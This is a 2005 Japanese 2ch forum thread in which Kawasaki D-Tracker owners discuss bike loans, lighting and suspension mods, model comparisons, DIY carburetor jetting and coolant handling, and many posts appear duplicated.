後から気づいたけどシュラウド単体は安いのね。新型のシュラウドにすればヨカタ
貧乏くさい作業でスマンね
チラシの裏
今Ｄトラをローンで新車（車体５０マソ）で
赤男爵にて購入しようとしているんだが
２１歳フリーター月１４万の所得
ローン審査通るかな・・・。赤男爵は金利、年５．６％
もしくは赤男爵じゃなくて他の金利安いところ知りませんか？
ＪＡとか駄目かな？
先輩方知恵を貸してください。
赤男爵にて購入しようとしているんだが
２１歳フリーター月１４万の所得
ローン審査通るかな・・・。赤男爵は金利、年５．６％
もしくは赤男爵じゃなくて他の金利安いところ知りませんか？
ＪＡとか駄目かな？
先輩方知恵を貸してください。
612 ：７７４ＲＲ：2005/05/27(金) 19:50:31 ID:oDNmCy+W
赤男爵か…
新車なら問題無いか ((((((((^_^;)
新車なら問題無いか ((((((((^_^;)
613 ：７７４ＲＲ：2005/05/27(金) 20:01:23 ID:uts9YV85
オレは学生で、70万のローンが下りた。
大丈夫じゃないか…？
ちなみにオレも赤男爵。
大丈夫じゃないか…？
ちなみにオレも赤男爵。
614 ：７７４ＲＲ：2005/05/27(金) 20:06:17 ID:TlbUZUoQ
俺も赤男爵で見積もり取ったけど、０５は保険込みで５８万強だったかな。
近所のカワサキ特約店は同条件で４９万だったよ。
店頭在庫の有るカワサキ特約店探してみては？
近所のカワサキ特約店は同条件で４９万だったよ。
店頭在庫の有るカワサキ特約店探してみては？
親が持ち家とかじゃないとローンおりないよ。
結局未成年は親の力。
成人だったら持ち家の実家住まいとか。
フリーターは厳しい罠。
結局未成年は親の力。
成人だったら持ち家の実家住まいとか。
フリーターは厳しい罠。
「カワサキ正規取扱店」の0.9(36回まで) or 1.9(60回まで)％低金利キャンペーンに汁
頭金半分いれれば大丈夫かと。
身内ローン。
リーのみでロン
このスレ最近にぎわってないね...or-z
623 ：７７４ＲＲ：2005/05/28(土) 21:54:25 ID:lGAwk21+
アフターファイアー完全？にけしました！
624 ：７７４ＲＲ：2005/05/28(土) 22:34:18 ID:5JrEnHhL
エンジン焼きついたの？
625 ：７７４ＲＲ：2005/05/29(日) 00:13:48 ID:JOovIHj1
297です。
アチェルビス縦目のライト変更の報告します。
85wで照射角度25度のバルブはＨ４の60wのバルブと比べて、
照射角度が狭いこともあり、明るくなりました。
オフロード用のスポットランプなので当たり前かもしれないですが．．．
50wで20度のバルブはＨ４の60wのバルブと比べて、やはり暗いです。
私の購入した50wバルブは反射鏡に凹凸が有る為、
85w25度（反射鏡に凹凸無し）のバルブに比べ拡散（Ｈ４と同等？）していることも
暗い要因と思われる。
しかし、50wバルブは路面にフェンダーの影がはっきり映る程度に明るくは成りましたが。
ライトリレーハーネスは必要と思われます。私は３０Ａにしました。参考までに。
アチェルビス縦目のライト変更の報告します。
85wで照射角度25度のバルブはＨ４の60wのバルブと比べて、
照射角度が狭いこともあり、明るくなりました。
オフロード用のスポットランプなので当たり前かもしれないですが．．．
50wで20度のバルブはＨ４の60wのバルブと比べて、やはり暗いです。
私の購入した50wバルブは反射鏡に凹凸が有る為、
85w25度（反射鏡に凹凸無し）のバルブに比べ拡散（Ｈ４と同等？）していることも
暗い要因と思われる。
しかし、50wバルブは路面にフェンダーの影がはっきり映る程度に明るくは成りましたが。
ライトリレーハーネスは必要と思われます。私は３０Ａにしました。参考までに。
>>625
火事に気をつけなよ
火事に気をつけなよ
627 ：７７４ＲＲ：2005/05/29(日) 00:28:36 ID:JOovIHj1
新車納車して4ヶ月きてないかな・・・
買って1週間でこけて修理＆カスタムに10万と１月
届いたバイクに乗ってたら右直の右バイクはすこしフレーム曲がっって
廃車です・・・（Ｔ△Ｔ）走行距離１０００くらいなのに
買って1週間でこけて修理＆カスタムに10万と１月
届いたバイクに乗ってたら右直の右バイクはすこしフレーム曲がっって
廃車です・・・（Ｔ△Ｔ）走行距離１０００くらいなのに
629 ：７７４ＲＲ：2005/05/29(日) 01:21:27 ID:hKMZSW89
>>628
(･∀･)ｲｷﾛ
(･∀･)ｲｷﾛ
エンジンとリアダンパー俺売ってくれ。
人にネットでものうったことないのよ、リアフェンダーもMXリアフェンダーかなんかで
フロントがアチェルビスのたてだっだかな次はアドレス１２５でもねらおうかな
フロントがアチェルビスのたてだっだかな次はアドレス１２５でもねらおうかな
何県か晒してみません？
近くなら車体ごと売って欲しいです
近くなら車体ごと売って欲しいです
633 ：ﾂ& ◆r3Scga7P/s ：2005/05/29(日) 02:07:23 ID:uvR0dXPe
愛知です、ぶっちゃちかくないとどうしようもないもんね
残念です。九州でした。
エンジンあぼーんしてたもので・・・。
サンクスですﾉｼ
エンジンあぼーんしてたもので・・・。
サンクスですﾉｼ
635 ：& ◆pBmU8j9iQw ：2005/05/29(日) 02:12:27 ID:uvR0dXPe
オツがんがって、オレも耐えるカラ
636 ：７７４ＲＲ：2005/05/29(日) 16:21:30 ID:Jy+ajfjA
SB海苔だけど、ﾌﾞﾚｰｷﾝｸﾞのﾛｰﾀｰにかえたらﾌﾛﾝﾄﾌｫｰｸ柔すぎ！
皆さんどんな対応してます？
皆さんどんな対応してます？
絶対おすすめしないけど、フォークオイルをなみなみ入れると固くなるよ
638 ：みるく ◆GASNOWzado ：2005/05/29(日) 20:56:39 ID:3SlNjSP+
639 ：７７４ＲＲ：2005/05/29(日) 21:07:20 ID:C8uTGXCV
みんなはオイル何使ってる？
俺今日来る車用の１００％化学合成のカストロール入れてみた。
俺今日来る車用の１００％化学合成のカストロール入れてみた。
640 ：７７４ＲＲ：2005/05/29(日) 21:10:50 ID:mJfrZCaz
ちゃんぽんめんさん、取りにいこうかな…。
誰も取りに行かなきゃ、捨てちゃうの？？
誰も取りに行かなきゃ、捨てちゃうの？？
ハイエナが群がるスレはここでつか？
俺もタイブノーズとかタコ踊り対策は前後スプリング交換だな。
設定はサスのＯ／Ｈと合わせてＯＦＦ車が専門のバイク屋で
やってもらったからよく判らないが、結構ふんばってくれる様になったよ。
関係ないけどＤＲ４００Ｚ－ＳＭに試乗させてもらったけど、あのサスは反則だよな。
手を入れる余地がどこにもないよ。
設定はサスのＯ／Ｈと合わせてＯＦＦ車が専門のバイク屋で
やってもらったからよく判らないが、結構ふんばってくれる様になったよ。
関係ないけどＤＲ４００Ｚ－ＳＭに試乗させてもらったけど、あのサスは反則だよな。
手を入れる余地がどこにもないよ。
643 ：７７４ＲＲ：2005/05/29(日) 21:21:40 ID:7yRYGfu8
初心者でもセッティングの違いって感じ取れますか？
自分のサスのOHするタイミングが全然分からない。距離は1万なんです
コース走るわけでなし林道だけなのでいいといえばそれまでなんですがね
自分のサスのOHするタイミングが全然分からない。距離は1万なんです
コース走るわけでなし林道だけなのでいいといえばそれまでなんですがね
644 ：みるく ◆GASNOWzado ：2005/05/29(日) 21:29:12 ID:3SlNjSP+
>>643
KLXかな？
ノーマルKLXで林道ユースならノーマルで十分と思います
サグ出しとイニシャル調整は試してみたらよいと思うけど。
それと1万走行ならFフォークのオイル交換はする価値あると思います。
Dトラでローター交換やオンロード攻めるならサスのチューンはしたくなる。
ってか、ブレーキもチューンも必須かな。
>>642
重いけどDR-Zいいね
サスもエンジンも
けっこういじってあるDトラでも結局は及ばない。。。
おかげで乗り換えを激しく悩み中
KLXかな？
ノーマルKLXで林道ユースならノーマルで十分と思います
サグ出しとイニシャル調整は試してみたらよいと思うけど。
それと1万走行ならFフォークのオイル交換はする価値あると思います。
Dトラでローター交換やオンロード攻めるならサスのチューンはしたくなる。
ってか、ブレーキもチューンも必須かな。
>>642
重いけどDR-Zいいね
サスもエンジンも
けっこういじってあるDトラでも結局は及ばない。。。
おかげで乗り換えを激しく悩み中
遅レスだがローダウンキット２年使っている俺からのインプレっす。（デイトナの５ｃｍダウンキットな）
メリット
○キャスター角が付いてロード向きのハンドリングになる
○リアサスを硬くした場合やフロントのインチをダウンした時にキャスターが立つのを修正してくれる。
○車高が下がるので空気抵抗が減りトップスピードが上がる。
○足つきが良くなる。
○サスの動きが少なくなるからチェーンの持ちが良くなる。
デメリット
○シートが尻下がりになるから腰が痛くなる。
○ジャンプとか縁石乗り越えとか絶対に出来なくなる。
○リアサスのボトム限界点まで動いてしまいガツンと底付きする場合がある。（ブッシュが入っているデイトナの奴だけね）
○チェーンのガイドローラーやＦスプロケガードに負担がかかり半年ごとに交換しないとどこかにふっ飛ぶ。
○車高が低いからスタンドとかステップ擦りまくる。
○キャブの油面が変わりコックをＯＦＦにしないと翌朝エンジンかけるのに苦労する。
オフも走るモタードとしての機能はなくなるけど、サスを硬くしてロードオンリーな
ターミネーターとして乗る分には使ってもよいと思う。
メリット
○キャスター角が付いてロード向きのハンドリングになる
○リアサスを硬くした場合やフロントのインチをダウンした時にキャスターが立つのを修正してくれる。
○車高が下がるので空気抵抗が減りトップスピードが上がる。
○足つきが良くなる。
○サスの動きが少なくなるからチェーンの持ちが良くなる。
デメリット
○シートが尻下がりになるから腰が痛くなる。
○ジャンプとか縁石乗り越えとか絶対に出来なくなる。
○リアサスのボトム限界点まで動いてしまいガツンと底付きする場合がある。（ブッシュが入っているデイトナの奴だけね）
○チェーンのガイドローラーやＦスプロケガードに負担がかかり半年ごとに交換しないとどこかにふっ飛ぶ。
○車高が低いからスタンドとかステップ擦りまくる。
○キャブの油面が変わりコックをＯＦＦにしないと翌朝エンジンかけるのに苦労する。
オフも走るモタードとしての機能はなくなるけど、サスを硬くしてロードオンリーな
ターミネーターとして乗る分には使ってもよいと思う。
>644
>けっこういじってあるDトラでも結局は及ばない。。。
禿同
試乗だけど３速で１０８ｋｍまでひっぱれたし、５速でも全域トクルフルだった。
それでいて負圧キャブだからギクシャクするところがどこも無い。これじゃあ
コーナー手前でのブレーキング合戦以外でＤ虎が優位になるところはないよ。
>けっこういじってあるDトラでも結局は及ばない。。。
禿同
試乗だけど３速で１０８ｋｍまでひっぱれたし、５速でも全域トクルフルだった。
それでいて負圧キャブだからギクシャクするところがどこも無い。これじゃあ
コーナー手前でのブレーキング合戦以外でＤ虎が優位になるところはないよ。
647 ：７７４ＲＲ：2005/05/29(日) 22:14:13 ID:C8uTGXCV
カワサキも本気出してＤトラ４００作ればいいのにね。
スズキとＯＥＭの関係があるから無理なのかな。
スズキとＯＥＭの関係があるから無理なのかな。
＞カワサキも本気出してＤトラ４００作ればいいのにね
確かにな。てか、KLX400みたく緑色のDR-Zが出現する鴨ｗ
しかし、そもそもD虎より５割以上も排気量大きいDR-Zを比べるのはいかがなものか？
確かにな。てか、KLX400みたく緑色のDR-Zが出現する鴨ｗ
しかし、そもそもD虎より５割以上も排気量大きいDR-Zを比べるのはいかがなものか？
651 ：みるく ◆GASNOWzado ：2005/05/29(日) 23:00:51 ID:3SlNjSP+
>もそもD虎より５割以上も排気量大きいDR-Zを比べるのはいかがなものか？
オーバーサイズ入れて、カム変えて、吸排気いじってやっても直線や登りは
明らかに差があります。。。
どれくらいDトラでもやれるか楽しみだったけど、惨敗って感じ。
それ以上に足回りや車体のハンデが出てくるわけで。。。
軽さと小柄生かしての走り以外は厳しいですね。
タイトなサーキットならまだしも、その他は厳しい。
散々金かけてもこの程度かと思うと・・・・
DR-ZにFCR吸排気系+カム+圧縮比うｐ仕様か
いっそコンペモデルが欲しくなった。。。
オーバーサイズ入れて、カム変えて、吸排気いじってやっても直線や登りは
明らかに差があります。。。
どれくらいDトラでもやれるか楽しみだったけど、惨敗って感じ。
それ以上に足回りや車体のハンデが出てくるわけで。。。
軽さと小柄生かしての走り以外は厳しいですね。
タイトなサーキットならまだしも、その他は厳しい。
散々金かけてもこの程度かと思うと・・・・
DR-ZにFCR吸排気系+カム+圧縮比うｐ仕様か
いっそコンペモデルが欲しくなった。。。
ＤＲＺ４００Ｓを、ゲロに引きずりこんでﾋｰﾋｰ言わせてる
ＫＬＸ海苔の漏れが来ましたよ。ｗ
ＫＬＸ海苔の漏れが来ましたよ。ｗ
ツーリングの時に腹減り過ぎて、一気に喰ったらゲロ吐いて、ケツが痛くてﾋｰﾋｰ言った
D虎海苔の俺がきましたよ('A`)
D虎海苔の俺がきましたよ('A`)
654 ：７７４ＲＲ：2005/05/29(日) 23:21:59 ID:aGa1ZN3C
例のごとくアフターが酷いんですが、これってほっといて何か悪影響ありますか？
キャブとかいぢる技術はないんで、もんだいないならほっとおきたいんですが…
キャブとかいぢる技術はないんで、もんだいないならほっとおきたいんですが…
655 ：７７４ＲＲ：2005/05/29(日) 23:28:42 ID:jvE4rF57
やっぱガス薄い状態だからセッティングしたほうがよいかと。
カワサキが供給してもらってる車両 ビクスク（全然販売に力入れてません）
スズキが供給してもらってる車両 KLX（DR250があったのに・・・sb売れてるよねぇ・・・）
技術力はカワサキの方が上でスズキで合同技術交換会のようなものを開くと
カワサキ技術陣は「はぁ？なんでそんな事しらないの？」だったそうな。
つうことで、カワサキがスズキの車両をOEMすることはビクスク以外にはありえないと思う。
大体、MOTOGPでもクロスでもカワサキの開発力ってスズキより上かなぁ、とか思えちゃうしね。
スズキが供給してもらってる車両 KLX（DR250があったのに・・・sb売れてるよねぇ・・・）
技術力はカワサキの方が上でスズキで合同技術交換会のようなものを開くと
カワサキ技術陣は「はぁ？なんでそんな事しらないの？」だったそうな。
つうことで、カワサキがスズキの車両をOEMすることはビクスク以外にはありえないと思う。
大体、MOTOGPでもクロスでもカワサキの開発力ってスズキより上かなぁ、とか思えちゃうしね。
>>651
上を見たらいくらで上位機種はあるからね。
走りを追求しなくてもDトラは1/1プラモデルってことで、
十分アイデンティティーを保てると思う。
>>656
技術力があっても、資金が無かったり新規にライン起せるほど
体力が無いのがカワサキなのですが。
上を見たらいくらで上位機種はあるからね。
走りを追求しなくてもDトラは1/1プラモデルってことで、
十分アイデンティティーを保てると思う。
>>656
技術力があっても、資金が無かったり新規にライン起せるほど
体力が無いのがカワサキなのですが。
658 ：654：2005/05/29(日) 23:51:46 ID:aGa1ZN3C
さいでっか…やっぱショップに頼むしかないですかねぇ。
初心者がいじってどうにかできる代物じゃありませんよね？
初心者がいじってどうにかできる代物じゃありませんよね？
まだバロンあづけたるよ腕折れたから、１２５CCのスクーターかKSRにランクダウンしてのろかな
>>675
だから？
だから？
勿体無いですね。シャブリ尽くしてない状態で事故られて。
私は、エンジンあぼーんでも直して乗りますよ。
もう一回あぼーんしたら
ＫＬＸ買って乗ります。Ｄトラは部品取り車にして。
ＫＳＲとか面白そうですね。
2年ぐらい林道とかも走りまくって、Ｄトラに戻ってくるとか・・
私は、エンジンあぼーんでも直して乗りますよ。
もう一回あぼーんしたら
ＫＬＸ買って乗ります。Ｄトラは部品取り車にして。
ＫＳＲとか面白そうですね。
2年ぐらい林道とかも走りまくって、Ｄトラに戻ってくるとか・・
でも次オフ系買うなら４００かな４STだしねスズキのG-STRIDERでればそっち買っちゃいそう
KLX買うのもてかなエンジンとかだけ乗せ変えて
KLX買うのもてかなエンジンとかだけ乗せ変えて
664 ：654：2005/05/30(月) 00:15:27 ID:IQxACaWE
>663
そうなんですか？では少し勉強してみますね。
そうなんですか？では少し勉強してみますね。
こないだ初めてキャブバラシやってみたけど、
3時間くらいでＭＪ交換して元に戻せたよ。
事前練習はＤトラＨＰの黒○○氏の所を参考にしたよ
3時間くらいでＭＪ交換して元に戻せたよ。
事前練習はＤトラＨＰの黒○○氏の所を参考にしたよ
>3時間くらいでＭＪ交換して元に戻せたよ。
この作業を簡素化する為にＰＳ調整する直角に曲がるドライバー買おうと思うんだが
だれかキャブを車載状態でこいつを使ってフロート室空けた人は居ないかい？
この作業を簡素化する為にＰＳ調整する直角に曲がるドライバー買おうと思うんだが
だれかキャブを車載状態でこいつを使ってフロート室空けた人は居ないかい？
667 ：７７４ＲＲ：2005/05/30(月) 01:14:28 ID:S3hf+Wlt
みるくさんへ
SBはﾌﾛﾝﾄﾌｫｰｸにｲﾆｼｬﾙ調整付いてないみたいですけど
SBはﾌﾛﾝﾄﾌｫｰｸにｲﾆｼｬﾙ調整付いてないみたいですけど
>>６４６
Ｄトラだと３速でどのくらいひっぱれるの？
Ｄトラだと３速でどのくらいひっぱれるの？
669 ： ◆MIGYIczXvo ：2005/05/30(月) 01:26:37 ID:QGa2Wwfe
アメリカには緑のDRZが存在する件について
ところで
>>645
> ローダウンキット
> ○車高が下がるので空気抵抗が減りトップスピードが上がる。
> ○サスの動きが少なくなるからチェーンの持ちが良くなる。
> ○キャブの油面が変わりコックをＯＦＦにしないと翌朝エンジンかけるのに苦労する。
の餌にはみんな無反応ですか？
ところで
>>645
> ローダウンキット
> ○車高が下がるので空気抵抗が減りトップスピードが上がる。
> ○サスの動きが少なくなるからチェーンの持ちが良くなる。
> ○キャブの油面が変わりコックをＯＦＦにしないと翌朝エンジンかけるのに苦労する。
の餌にはみんな無反応ですか？
誤爆すた…orz
みるくさんなら乗り換えてしまうのだろうな。
SMの良さは試乗車に乗りたおしたからわかるだけに。
せめて、そこまで触ったDトラならレースに出してあげてほしいな。
SM出た時に買ったばかりのDトラを売ろうとしてみるくさんの一言で止まったﾔｼより
SMの良さは試乗車に乗りたおしたからわかるだけに。
せめて、そこまで触ったDトラならレースに出してあげてほしいな。
SM出た時に買ったばかりのDトラを売ろうとしてみるくさんの一言で止まったﾔｼより
675 ：７７４ＲＲ：2005/05/30(月) 15:29:46 ID:hRlhuT/8
車体を守るパーツって、スライダー、バーエンド、プッシュガードの他にありまつか？マフラーガードみたいなものないでつか？ｴﾛい人！
676 ：７７４ＲＲ：2005/05/30(月) 15:32:45 ID:Zes+vgvo
べぇ。
678 ：７７４ＲＲ：2005/05/30(月) 16:05:53 ID:hRlhuT/8
即レスﾄﾞﾓ。それはヒートガード？かな。コケタときにマフラーの損傷を軽減するようなガードないかな。
そんなにマフラー心配してたら、バイク乗れないって。
マフラーなんかコケたら傷付くもんだって思わないと。
マフラーなんかコケたら傷付くもんだって思わないと。
ＤトラとＸＲ250モタじゃカタログ見る限りＤトラのが
良さげなんだけどＸＲスレじゃほとんど同じという見解。
正直、どっちがいいバイクなの?
オーナーさんの意見が聞きたい。
良さげなんだけどＸＲスレじゃほとんど同じという見解。
正直、どっちがいいバイクなの?
オーナーさんの意見が聞きたい。
ほとんど同じだろう。
ＸＬＲ２５０しか乗った事ないけど、低速からトルクがあるから乗りやすいんだ。
それに比べＤ虎は伸びはいいが低速が全然ダメダメ。でも走りに行くとどうしても
回しちゃうからその点ではＤ虎が有利。
それに比べＤ虎は伸びはいいが低速が全然ダメダメ。でも走りに行くとどうしても
回しちゃうからその点ではＤ虎が有利。
要するに６８１がどういう用途に使うかでないの？
俺KLXしかわからんが、６８３のとおりの違いがあるらしいよ。
じつは最近アパートの駐輪場に００年ぐらいのXRがあるんだけど
ずっと乗ってない感じでカバーかけてある。実にもったいない
所有者いたら色々聞きたいというか、欲しいんだが・・・
なかなか遭遇しない
スマン全然関係無かった
俺KLXしかわからんが、６８３のとおりの違いがあるらしいよ。
じつは最近アパートの駐輪場に００年ぐらいのXRがあるんだけど
ずっと乗ってない感じでカバーかけてある。実にもったいない
所有者いたら色々聞きたいというか、欲しいんだが・・・
なかなか遭遇しない
スマン全然関係無かった
違いがどのくらいあるのか実際に乗り比べてみたいなぁ。
687 ：７７４ＲＲ：2005/05/30(月) 20:31:11 ID:hRlhuT/8
デザインとか、水冷ｴｿｼﾞｿ、馬力？など考えるとD虎じゃね？…カワサキ…orz
貼り紙しておけば・・・
昔、隣人のバイクにぶつけた時に
貼り紙しておいたら連絡があった。
昔、隣人のバイクにぶつけた時に
貼り紙しておいたら連絡があった。
689 ：654：2005/05/30(月) 20:41:37 ID:IQxACaWE
色々調べてみた結果、自分のはブタ鼻除去していてアクセル全閉でポンポンとなるため、
とりあえずMJとSJの番手を上げれば多少なりとも効果が出ますでしょうか?
パイロットスクリューとSJをいじると得られる効果にはどのような違いがあるのでしょうか？
どちらとも低開度時のガスの濃さを調整できるとありますが…
とりあえずMJとSJの番手を上げれば多少なりとも効果が出ますでしょうか?
パイロットスクリューとSJをいじると得られる効果にはどのような違いがあるのでしょうか？
どちらとも低開度時のガスの濃さを調整できるとありますが…
>>681
漏れKLX海苔だが、漏れ的には、現行XR（モタ含）は空冷エンヂンにシュラウド
着けた時点で論外。
ちなみに、現行XR250、旧XLR250どちらも林道で試乗したが、XRにはXLR程の
低速トルクは無かった。回してもKLX程の伸びは当然無いので中途半端な印象だったな。
漏れKLX海苔だが、漏れ的には、現行XR（モタ含）は空冷エンヂンにシュラウド
着けた時点で論外。
ちなみに、現行XR250、旧XLR250どちらも林道で試乗したが、XRにはXLR程の
低速トルクは無かった。回してもKLX程の伸びは当然無いので中途半端な印象だったな。
>>689
ついでに誘導しとこう。おれはこのスレ見て初キャブいじりに
成功？したよ(´ー｀)
キャブレター
http://hobby7.2ch.net/test/read.cgi/bike/1113104186/
ついでに誘導しとこう。おれはこのスレ見て初キャブいじりに
成功？したよ(´ー｀)
キャブレター
http://hobby7.2ch.net/test/read.cgi/bike/1113104186/
693 ：654：2005/05/30(月) 22:33:15 ID:IQxACaWE
＞692
一通り読ませていただきました。そのスレの27さんですよね。
スレでのやりとりを見ていたらなんかとても楽しそうでワクワクしてきましたｗ
自分のはマフラーはノーマルの為とりあえずMJ125 SJ38でやってみたいと思います。
ところでコレは有った方がいいよ！みたいなものありますか？
一通り読ませていただきました。そのスレの27さんですよね。
スレでのやりとりを見ていたらなんかとても楽しそうでワクワクしてきましたｗ
自分のはマフラーはノーマルの為とりあえずMJ125 SJ38でやってみたいと思います。
ところでコレは有った方がいいよ！みたいなものありますか？
>>693
ちゃんとした工具（特にドライバー）。かな？ それだけで大丈夫ですよ。
キャブ外すのに冷却水を抜かなきゃいけないので、セッティングを
決めるまでは水道水を入れたり抜いたりしなきゃいけないのが
面倒ですね。
ちゃんとした工具（特にドライバー）。かな？ それだけで大丈夫ですよ。
キャブ外すのに冷却水を抜かなきゃいけないので、セッティングを
決めるまでは水道水を入れたり抜いたりしなきゃいけないのが
面倒ですね。
>>694
冷却水だけど、キャブのホースを抜いて、直接エンジンに繋いでやればいいんじゃなかったっけ？
冷却水だけど、キャブのホースを抜いて、直接エンジンに繋いでやればいいんじゃなかったっけ？
ホースを押さえから外して抜いた口をEgのヘッド辺りまでもってけばダダ漏れはなかった気がする。
ドレンボルトの周りを綺麗に洗って再利用しましょう。
あと、冷却水注入したらエンジン掛けては継ぎ足して継ぎ足してを３回は繰り返しましょう。
冷却水は４リットルかってくりゃ嫌って位余るので大丈夫。
あと、径が4mm位のマイナスドライバー
直径1cm位のホースバンドを100均にて買う。
手順
キャブの覗きパイプをはずすと冷却液が垂れてくるので事前にぞうきんとかをクランクケースとキャブの間に挟む
そのチューブのエンジン側を抜く
キャブ下から分岐で車体左側からラジエターに回ってるチューブを抜く、
すぐに最初に抜いたエンジン側のつなぎ口につなぎたいところだけれども、
慌てずに分岐から抜き取ったチューブを上向きに向けてホースバンドを入れる、
その後エンジンへつないでホースバンドで固定
こうすれば下手にエンジン汚すこともないし環境にも優しいです。
ちなみに冷却水は毒物なので下水へ垂れ流ししちゃ駄目っす。オイル処理箱に入れて生ゴミとして捨てましょう。
あと、冷却水注入したらエンジン掛けては継ぎ足して継ぎ足してを３回は繰り返しましょう。
冷却水は４リットルかってくりゃ嫌って位余るので大丈夫。
あと、径が4mm位のマイナスドライバー
直径1cm位のホースバンドを100均にて買う。
手順
キャブの覗きパイプをはずすと冷却液が垂れてくるので事前にぞうきんとかをクランクケースとキャブの間に挟む
そのチューブのエンジン側を抜く
キャブ下から分岐で車体左側からラジエターに回ってるチューブを抜く、
すぐに最初に抜いたエンジン側のつなぎ口につなぎたいところだけれども、
慌てずに分岐から抜き取ったチューブを上向きに向けてホースバンドを入れる、
その後エンジンへつないでホースバンドで固定
こうすれば下手にエンジン汚すこともないし環境にも優しいです。
ちなみに冷却水は毒物なので下水へ垂れ流ししちゃ駄目っす。オイル処理箱に入れて生ゴミとして捨てましょう。
698 ：７７４ＲＲ：2005/05/31(火) 00:49:25 ID:IRz2FZMQ
やべーなぁ、ブレーキフルードどばどば下水に流してるよ。。。
フルードは水にいれてもOKだったとおもう。
ブレーキフルードは毒性は弱いみたいだね。
http://66.102.7.104/search?q=cache:B0_JhRcFhpoJ:www.kuraray.co.jp/products/msds/pdf/NA9D4950-1-055646.pdf+%E3%82%B0%E3%83%AA%E3%82%B3%E3%83%BC%E3%83%AB%E3%82%A8%E3%83%BC%E3%83%86%E3%83%AB&hl=ja
垂れ流しがいいのか分からないけど。
冷却水（クーラント液）は毒性大ありです。
http://66.102.7.104/search?q=cache:B0_JhRcFhpoJ:www.kuraray.co.jp/products/msds/pdf/NA9D4950-1-055646.pdf+%E3%82%B0%E3%83%AA%E3%82%B3%E3%83%BC%E3%83%AB%E3%82%A8%E3%83%BC%E3%83%86%E3%83%AB&hl=ja
垂れ流しがいいのか分からないけど。
冷却水（クーラント液）は毒性大ありです。
まぁ、なにより一番危険なのはパークリだけどね。
安かろう悪かろうなんだよなぁ。
WAKOSのなんて劇毒物かと思えるくらい皮膚が炎症起こす・・・
WAKOSは確かによく落ちるけど、どの製品も素手で触ると炎症起こしまくる俺が言うんだから間違いない（笑）
安かろう悪かろうなんだよなぁ。
WAKOSのなんて劇毒物かと思えるくらい皮膚が炎症起こす・・・
WAKOSは確かによく落ちるけど、どの製品も素手で触ると炎症起こしまくる俺が言うんだから間違いない（笑）
俺はぜんぜん余裕ｗ
パークリの場合は毒物と言うより引火性の危険物かな。
石油系だから手荒れを起こしやすいのは確かかと。
俺も全然問題無かったりするｗ
石油系だから手荒れを起こしやすいのは確かかと。
俺も全然問題無かったりするｗ
おまいらいいなぁ・・・
俺はコンドームじゃなくってゴム手袋必須だぞ（泣）
ちなみに、軍手したままパークリつかってて、
乾いたかな？と思って一服の為、そのままタバコに火つけようとしたら引火した、両手（笑）
そして今じゃ両手に自殺痕のようなやけど痕ができてます。
クレカとか出すとき気が付く人は目がキョロキョロしてんのな・・・
ビジホに泊まるとき困るのなんの・・・
俺はコンドームじゃなくってゴム手袋必須だぞ（泣）
ちなみに、軍手したままパークリつかってて、
乾いたかな？と思って一服の為、そのままタバコに火つけようとしたら引火した、両手（笑）
そして今じゃ両手に自殺痕のようなやけど痕ができてます。
クレカとか出すとき気が付く人は目がキョロキョロしてんのな・・・
ビジホに泊まるとき困るのなんの・・・
手袋に引火(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
たまに俺も整備中に皮手袋したままタバコ吸うから気をつけよっと。
俺もキャブセッティングしてみようかなぁ。
SM見るとなんだか難しそうなんだよなぁ。
たまに俺も整備中に皮手袋したままタバコ吸うから気をつけよっと。
俺もキャブセッティングしてみようかなぁ。
SM見るとなんだか難しそうなんだよなぁ。
>>705
キャブ取り外し、MJ・SJ・JN交換、キャブ取り付けは
SM無し、ネットで拾った情報だけでバイク歴半年の俺でもできた。
セッティングに関してはトライアンドエラーで上記の作業の繰り返し。根性があればできると思う。
でも、フィーリングだけでセッティングしてるんでなんとも言えないが、
混合比を正確に計測する機器がないと、アバウトな仕上がりにしかならないと思う。
キャブ取り外し、MJ・SJ・JN交換、キャブ取り付けは
SM無し、ネットで拾った情報だけでバイク歴半年の俺でもできた。
セッティングに関してはトライアンドエラーで上記の作業の繰り返し。根性があればできると思う。
でも、フィーリングだけでセッティングしてるんでなんとも言えないが、
混合比を正確に計測する機器がないと、アバウトな仕上がりにしかならないと思う。
>混合比を正確に計測する機器がないと、
混合比じゃねえ。空燃比です。
混合比じゃねえ。空燃比です。
空燃比の計測ってプライベーターでもやるレベル？
あ、あったら便利な品物にプライヤーを追加。
ホースバンド外すの大変なんですよ、指先の力だけじゃ。
ホースバンド外すの大変なんですよ、指先の力だけじゃ。
711 ：654：2005/05/31(火) 23:05:24 ID:HG1bVQGV
>709
どうもです！プライヤーって俗にいうペンチですよね？
明日明後日で部品と工具仕入れ金曜に決行の予定です！
どうもです！プライヤーって俗にいうペンチですよね？
明日明後日で部品と工具仕入れ金曜に決行の予定です！
04白買いました。
よろしくね。
週末の納車が楽しみです。
よろしくね。
週末の納車が楽しみです。
お洒落にＤトラのると叩かれるのっておかしくない？
ＯＦＦロードのヘルメットかぶって爆音マフラーつけてる人よりましかと・・・
ＯＦＦロードのヘルメットかぶって爆音マフラーつけてる人よりましかと・・・
717 ：７７４ＲＲ：2005/06/01(水) 00:47:52 ID:Mj1FUnG8
>>716
むしろ、後者のほうが叩かれてるがなｗ
むしろ、後者のほうが叩かれてるがなｗ
おしゃれにＤトラ乗る＞半キャップ
なんでしょ？論外じゃん。
違法行為じゃないけどグレーだし。
なんでしょ？論外じゃん。
違法行為じゃないけどグレーだし。
>>716
このスレでDトラ叩かれてたっけ？そうでないならなんでこのスレに？
あとお洒落って？
個人的な感想だけど、気合の入ったカスタムオフ車(この場合KLXやDトラね)を
街中で止まってるのを見たとき装飾用の半帽が車体についてると萎えるのはおれだけ？
非常にアンバランスでかっこ悪くみえてしまう。
このスレでDトラ叩かれてたっけ？そうでないならなんでこのスレに？
あとお洒落って？
個人的な感想だけど、気合の入ったカスタムオフ車(この場合KLXやDトラね)を
街中で止まってるのを見たとき装飾用の半帽が車体についてると萎えるのはおれだけ？
非常にアンバランスでかっこ悪くみえてしまう。
ステッカーべたべたＤ虎＆ホーネットは？
722 ：７７４ＲＲ：2005/06/01(水) 00:54:17 ID:L+/Zt1iQ
ステッカーベタはセンス無しって言われるだけで済むよ。
馬鹿って心の中で思われてるだけ。
馬鹿って心の中で思われてるだけ。
ホーネット（笑）
>>722
なんで？別にジェットとかロード用フルフェイスは萎えないよ？
なんで？別にジェットとかロード用フルフェイスは萎えないよ？
726 ：７７４ＲＲ：2005/06/01(水) 00:58:40 ID:7J77IEgT
ＯＦＦヘルが一番お洒落だろお前ら一体何考えてんの？
ＯＦＦヘル(笑）
